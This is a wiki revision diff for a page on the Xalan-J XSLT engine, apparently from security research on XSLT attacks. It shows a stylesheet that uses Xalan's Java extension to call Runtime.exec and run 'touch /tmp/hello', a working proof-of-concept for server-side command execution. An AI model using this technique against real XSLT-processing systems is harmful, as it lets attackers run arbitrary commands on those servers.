Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35

From version Icon 7.1 Icon
edited by Nicolas Gregoire
on 2012/01/05 01:03
Change comment: There is no comment for this version
To version Icon 6.1 Icon
edited by Nicolas Gregoire
on 2012/01/05 01:00
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -20,24 +20,24 @@
20 20  
21 21  == Java code execution ==
22 22  
23 -The following code will display the current date :
23 +dcdcdd
24 24  
25 -TODO
25 +<?xml version="1.0"?>
26 +<xsl:stylesheet
26 26  
27 -== Execution of external commands ==
28 + xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
29 + xmlns:j="http:~/~/xml.apache.org/xalan/java"
28 28  
29 -The following code will execute the command "touch /tmp/hello" :
31 + exclude-result-prefixes="j"
30 30  
31 -<?xml version="1.0"?>
32 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
33 - xmlns:j="http:~/~/xml.apache.org/xalan/java"
34 - exclude-result-prefixes="j"
35 - version="1.0">
36 - <xsl:template match="/">
37 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
38 - <xsl:variable name="a" select="j:split($c, ' = ')"/>
39 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
40 - <xsl:variable name="p" select="j:exec($r, $a )"/>
41 - No content at the moment ...
42 - </xsl:template>
33 + version="1.0">
34 + <xsl:template match="/">
35 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
36 + <xsl:variable name="a" select="j:split($c, ' = ')"/>
37 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
38 + <xsl:variable name="p" select="j:exec($r, $a )"/>
39 + No content at the moment ...
40 + </xsl:template>
43 43  </xsl:stylesheet>
42 +
43 +Saxon